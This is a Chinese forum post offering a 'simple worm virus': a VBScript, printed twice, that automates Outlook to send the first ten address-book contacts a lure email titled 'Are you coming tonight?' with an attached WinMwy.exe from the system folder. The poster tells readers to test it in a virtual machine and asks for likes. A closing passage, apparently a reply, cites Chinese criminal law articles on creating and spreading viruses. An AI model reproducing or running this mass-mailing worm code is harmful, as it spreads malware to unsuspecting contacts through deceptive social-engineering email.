|
今天给大家发一个简单的蠕虫病毒 |
|
天赋异禀北极光
L1
• 2019-10-15 • 回复 2 • 只看楼主
• 举报
|
喜欢电脑:
On Error Resume Next
Set fs=CreateObject("Scripting.FileSystemObject")
Set dir1=fs.GetSpecialFolder(0)
Set dir2=fs.GetSpecialFolder(1)
Set so=CreateObject("Scripting.FileSystemObject")
dim r
Set r=CreateObject("Wscript.Shell")
Set ol=CreateObject("Outlook.Application")
On Error Resume Next
For x=1 To 10
Set Mail=ol.CreateItem(0)
Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)
Mail.Subject="今晚你来吗？"
Mail.Body="朋友你好：您的朋友xxx给您发来了热情的邀请。具体情况请阅读随信附件，祝您好运！ "
Mail.Attachments.Add(dir2&"WinMwy.exe")
Mail.Send
Next
ol.Quit
后缀名.exe通过电子邮件发给别人
请在虚拟机里测试，不然后果自负！！！
好用请点赞支持一下不当伸手党！！！
On Error Resume Next
Set fs=CreateObject("Scripting.FileSystemObject")
Set dir1=fs.GetSpecialFolder(0)
Set dir2=fs.GetSpecialFolder(1)
Set so=CreateObject("Scripting.FileSystemObject")
dim r
Set r=CreateObject("Wscript.Shell")
Set ol=CreateObject("Outlook.Application")
On Error Resume Next
For x=1 To 10
Set Mail=ol.CreateItem(0)
Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)
Mail.Subject="今晚你来吗？"
Mail.Body="朋友你好：您的朋友xxx给您发来了热情的邀请。具体情况请阅读随信附件，祝您好运！ "
Mail.Attachments.Add(dir2&"WinMwy.exe")
Mail.Send
Next
ol.Quit
后缀名.exe通过电子邮件发给别人
请在虚拟机里测试，不然后果自负！！！
好用请点赞支持一下不当伸手党！！！
第二，我国《刑法》第二百八十六条也作了相关的规定，违反国家规定，对计算机信息系统功能进行删除、修改、增加、干扰，造成计算机信息系统不能正常运行，后果严重的，处五年以下有期徒刑或者拘役，后果特别严重的，处五年以上有期徒刑。
第三，最高法院的《最高人民法院关于审理破坏公用电信设施刑事案件具体应用法律若干问题的解释》第一条也有规定，这种行为属于危害公共安全，法律可以用《刑法》第一百二十四条的相关规定执行。
综上所述，制作并散播计算机病毒肯定是已经触犯了法律，但是否涉及到犯罪，要看制作者和传播者的严重程度，只有达到很严重的时候，法律才会按《刑法》的相关规定进行处罚。